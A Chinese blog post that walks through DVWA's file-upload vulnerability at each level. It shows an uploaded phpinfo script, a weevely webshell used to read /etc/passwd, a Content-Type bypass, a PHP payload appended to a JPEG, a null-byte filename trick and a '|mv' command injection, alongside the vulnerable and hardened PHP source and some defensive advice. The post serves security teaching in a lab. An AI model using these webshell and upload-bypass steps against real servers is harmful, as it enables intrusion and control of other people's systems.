说起文件上传漏洞 ,可谓是印象深刻。有次公司的网站突然访问不到了,同事去服务器看了一下。所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映射不到 jsp 文件,同事怀疑是攻击者上传了个 webshell 文件然后进行批量重命名了。

把后台的代码都找了一遍,后台代码也都有验证文件扩展名的,后面是发现一张普通的照片其实是代码来的,但也不知道为何能够执行。但看完这篇文章你就会明白了。 下面用 dvwa 来演示如何攻击和防御。

用户界面是这样的,是一个简单的上传文件功能。

然而 Hacker 就上传一个 phpinfo.php 文件

  1. <?
  2. phpinfo();
  3. ?>

。。。结果如下

然后打开链接 http://192.168.31.166:5678/hackable/uploads/phpinfo.php ,又看到熟悉的界面了。

Hacker 想用 webshell 的方式尝试一下。于是就用 Kali Linux 预装的 weevely 工具生成一个 webshell 文件,这里的 123456 是密码,这个 webshell 要用密码登录的。

  1. weevely generate 123456 /root/webshell.php
  2. Generated backdoor with password '123456' in '/root/webshell.php' of 1479 byte size.

上传完文件后,登录

  1. weevely http://192.168.31.166:5678/hackable/uploads/webshell.php 123456
  2. weevely> ls
  1. dvwa_email.png
  2. webshell.php
  1. www-data@56e69b5b67b6:/var/www/html/hackable/uploads $ cat /etc/passwd
  1. root:x:0:0:root:/root:/bin/bash
  2. daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

就变成你的地盘我做主了。 再来看看低级代码。

  1. <?php
  2. if( isset( $_POST[ 'Upload' ] ) ) {
  3. // Where are we going to be writing to?
  4. $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  5. $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
  6. // Can we move the file to the upload folder?
  7. if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
  8. // No
  9. echo '<pre>Your image was not uploaded.</pre>';
  10. }
  11. else {
  12. // Yes!
  13. echo "<pre>{$target_path} succesfully uploaded!</pre>";
  14. }
  15. }
  16. ?>

为何会变成这样的呢?觉得主要是没有限制文件扩展名吧。

而中级代码,多了文件类型和文件大小的限制

  1. <?php
  2. if( isset( $_POST[ 'Upload' ] ) ) {
  3. // Where are we going to be writing to?
  4. $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  5. $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
  6. // File information
  7. $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
  8. $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
  9. $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
  10. // Is it an image?
  11. if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
  12. ( $uploaded_size < 100000 ) ) {
  13. // Can we move the file to the upload folder?
  14. if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
  15. // No
  16. echo '<pre>Your image was not uploaded.</pre>';
  17. }
  18. else {
  19. // Yes!
  20. echo "<pre>{$target_path} succesfully uploaded!</pre>";
  21. }
  22. }
  23. else {
  24. // Invalid file
  25. echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
  26. }
  27. }
  28. ?>

这里代码看上去好像类型都判断了,应该是不能上传 php 代码了吧。 然而 Hacker 打开火狐浏览器的调试器(谷歌浏览器没有修改功能,用 brup suite 之类的抓包也可以的),找到对应请求后右键选择-> edit and resend 然后将头部的 content-type 改掉,再重发请求

结果如下

打开链接 http://192.168.31.166:5678/hackable/uploads/phpinfo.php ,依然能看到熟悉的界面。

中级的代码有漏洞的原因是用 content-type 去判断文件类型了,如果用扩展名去判断还有问题吗?高级代码就是这样想的,代码如下

  1. <?php
  2. if( isset( $_POST[ 'Upload' ] ) ) {
  3. // Where are we going to be writing to?
  4. $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  5. $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
  6. // File information
  7. $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
  8. $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
  9. $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
  10. $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
  11. // Is it an image?
  12. if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
  13. ( $uploaded_size < 100000 ) &&
  14. getimagesize( $uploaded_tmp ) ) {
  15. // Can we move the file to the upload folder?
  16. if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
  17. // No
  18. echo '<pre>Your image was not uploaded.</pre>';
  19. }
  20. else {
  21. // Yes!
  22. echo "<pre>{$target_path} succesfully uploaded!</pre>";
  23. }
  24. }
  25. else {
  26. // Invalid file
  27. echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
  28. }
  29. }
  30. ?>

我尝试过将 phpinfo.php 改成 phpinfo.php.png ,然而不成功,因为调用了 getimagesize 这个函数,如果不是图片文件就会返回 false。 但是如果这图片既是图片又是代码呢? 有人能想到了吗? 11年左右百度贴吧风靡一时图种

比如这是大家老婆的图片

保存下来,将扩展名改成 zip ,再解压(用命令行 unzip)。。。就有福利。

为什么可以这样 因为比如文件有特定的 jpg 标识,如果用看图程序打开,只会去看有图片标识的那部分,如果用 zip 压缩文件打开,也只会看有 zip 标识的那部分,其他部分会忽略的。 所以它既是图片也是种子。因此。我们可以制作类似图种的东西去注入 webshell。

  • windows copy /b D:\gakki.jpg + D:\webshell.php D:\gakki.jpg
  • linux/unix cat webshell.php >> gakki.jpg

所以我们可以制作一个 “图php”

  1. cat phpinfo.php >> gakki.jpg

只是上传后,重命名是个问题。

php 5.4 之下还容易解决,因为那个版本就有个漏洞上传gakki.php%00.jpg这种文件会当成gakki.php来执行的,因为 c语言等语言是用 \0 判断字符符结束的,所以该会被服务器当成 gakki.php 执行。

在 File Upload 页面没法重名了。。。找不到其他方法。唯有借助同一级别下的漏洞比如是命令行注入漏洞

然后输入在 |mv ../../gakki.jpg ../../gakki.php ,再访问文件,结果如下

不可能级别的代码有添加了这些

  • 使用 imagecreatefrompngimagecreatefrompng 去掉了不属于图片的部分
  • 为文件重命名成 随机字符串。因为如何上传的文件是 phpshell.php.rar ,Apache 不认识 rar 格式就会向前解析,文件就解析成 phpshell.php 了。
  • 用 anti-token 解决一些 CSRF 问题

代码如下:

  1. <?php
  2. if( isset( $_POST[ 'Upload' ] ) ) {
  3. // Check Anti-CSRF token
  4. checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
  5. // File information
  6. $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
  7. $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
  8. $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
  9. $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
  10. $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
  11. // Where are we going to be writing to?
  12. $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
  13. //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
  14. $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
  15. $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
  16. $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
  17. // Is it an image?
  18. if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) &&
  19. ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
  20. getimagesize( $uploaded_tmp ) ) {
  21. // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
  22. if( $uploaded_type == 'image/jpeg' ) {
  23. $img = imagecreatefromjpeg( $uploaded_tmp );
  24. imagejpeg( $img, $temp_file, 100);
  25. }
  26. else {
  27. $img = imagecreatefrompng( $uploaded_tmp );
  28. imagepng( $img, $temp_file, 9);
  29. }
  30. imagedestroy( $img );
  31. // Can we move the file to the web root from the temp folder?
  32. if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
  33. // Yes!
  34. echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
  35. }
  36. else {
  37. // No
  38. echo '<pre>Your image was not uploaded.</pre>';
  39. }
  40. // Delete any temp files
  41. if( file_exists( $temp_file ) )
  42. unlink( $temp_file );
  43. }
  44. else {
  45. // Invalid file
  46. echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
  47. }
  48. }
  49. // Generate Anti-CSRF token
  50. generateSessionToken();
  51. ?>

也有其他手段防御文件上传漏洞(《白帽子讲web安全》):

  • 设置文件目录不可以执行
  • 给文件服务器设置单独的域名,因为不同源的原因,请求会被浏览器拦截

版权声明:本文为jojo-feed原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/jojo-feed/p/10173026.html